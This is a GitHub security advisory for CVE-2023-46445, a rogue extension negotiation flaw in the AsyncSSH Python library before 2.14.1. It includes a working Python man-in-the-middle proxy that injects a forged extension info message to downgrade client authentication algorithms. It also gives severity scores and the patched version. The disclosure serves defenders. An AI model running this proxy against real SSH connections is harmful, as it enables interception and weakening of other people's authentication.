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AsyncSSH Rogue Extension Negotiation

Moderate severity GitHub Reviewed Published Nov 9, 2023 in ronf/asyncssh • Updated Dec 31, 2023

Package

pip asyncssh (pip)

Affected versions

< 2.14.1

Patched versions

2.14.1

Description

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Details

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

PoC

AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)
 #!/usr/bin/python3
 import socket
 from threading import Thread
 from binascii import unhexlify
 
 #####################################################################################
 ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
 ##                                                                                 ##
 ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##
 ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##
 ##                                                                                 ##
 ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##
 #####################################################################################
 
 # IP and port for the TCP proxy to bind to
 PROXY_IP = '127.0.0.1'
 PROXY_PORT = 2222
 
 # IP and port of the server
 SERVER_IP = '127.0.0.1'
 SERVER_PORT = 22
 
 # Length of the individual messages
 NEW_KEYS_LENGTH = 16
 SERVER_EXT_INFO_LENGTH = 676
 
 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
 def contains_newkeys(data):
     return newkeys_payload in data
 
 # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
 rogue_ext_info = unhexlify('0000000C060700000000000000000000')
 def insert_rogue_ext_info(data):
     newkeys_index = data.index(newkeys_payload)
     # Insert rogue extension info and remove SSH_MSG_EXT_INFO
     return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]
 
 def forward_client_to_server(client_socket, server_socket):
     try:
         while True:
             client_data = client_socket.recv(4096)
             if len(client_data) == 0:
                 break
             server_socket.send(client_data)
     except ConnectionResetError:
         print("[!] Client connection has been reset. Continue closing sockets.")
     print("[!] forward_client_to_server thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 def forward_server_to_client(client_socket, server_socket):
     try:
         while True:
             server_data = server_socket.recv(4096)
             if contains_newkeys(server_data):
                 print("[+] SSH_MSG_NEWKEYS sent by server identified!")
                 if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!")
                 while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     server_data += server_socket.recv(4096)
                 print(f"[d] Original server_data before modification: {server_data.hex()}")
                 server_data = insert_rogue_ext_info(server_data)
                 print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}")
             if len(server_data) == 0:
                 break
             client_socket.send(server_data)
     except ConnectionResetError:
         print("[!] Target connection has been reset. Continue closing sockets.")
     print("[!] forward_server_to_client thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 if __name__ == '__main__':
     print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---")
     mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     mitm_socket.bind((PROXY_IP, PROXY_PORT))
     mitm_socket.listen(5)
 
     print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...")
 
     try:
         while True:
             client_socket, client_addr = mitm_socket.accept()
             print(f"[+] Accepted connection from: {client_addr}")
             print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.")
             server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             server_socket.connect((SERVER_IP, SERVER_PORT))
             print("[+] Spawning new forwarding threads to handle client connection.")
             Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()
             Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()
     except KeyboardInterrupt:
         client_socket.close()
         server_socket.close()
         mitm_socket.close()

Impact

Algorithm downgrade during user authentication.

References

@ronf ronf published to ronf/asyncssh Nov 9, 2023
Published to the GitHub Advisory Database Nov 9, 2023
Reviewed Nov 9, 2023
Published by the National Vulnerability Database Nov 14, 2023
Last updated Dec 31, 2023

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

EPSS score

0.123%
(48th percentile)

CVE ID

CVE-2023-46445

GHSA ID

GHSA-cfc2-wr2v-gxm5

Source code

Credits

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